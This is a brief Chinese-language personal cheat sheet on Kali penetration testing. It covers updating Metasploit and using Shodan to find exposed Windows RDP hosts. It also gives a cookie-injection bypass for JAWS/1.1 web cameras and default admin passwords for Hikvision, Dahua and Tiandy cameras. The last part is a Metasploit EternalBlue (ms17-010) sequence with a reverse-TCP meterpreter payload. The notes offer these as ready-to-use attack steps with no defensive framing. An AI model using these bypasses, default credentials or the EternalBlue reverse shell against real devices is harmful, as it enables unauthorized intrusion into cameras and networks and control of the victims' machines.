web安全笔记-kali渗透-（比较乱主要记录工具方法）

kali更新MFS

1. 更换yum源地址
2. 添加kali数字签名
3. 如果出现无法更新建议卸载MFS之后在安装
4. sudo rm 对锁强制解锁进行安装
5. 启动数据库 postgresql 设置开机自动启动

撒旦之眼

https://www.shodan.io/

在输入框输入 prot:3389 os:windows

摄像头

JAWS/1.1

输入

document.cookie="dvr_camcnt=4";
document.cookie="dvr_usr=admin";
document.cookie="dvr_pwd=123";

在url 后面加上 10.1.1.1:8080//view2.html

摄像头2

海康威视

admin 123456

大华网络摄像机

admin 888888

天地伟业

Admin 111111

Hikvision

Server:DVRDVS-Webs

msfconsole 工具开启 (永恒之蓝)

1.开启命令

msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS *(目标ip)
set LHOST (本地ip)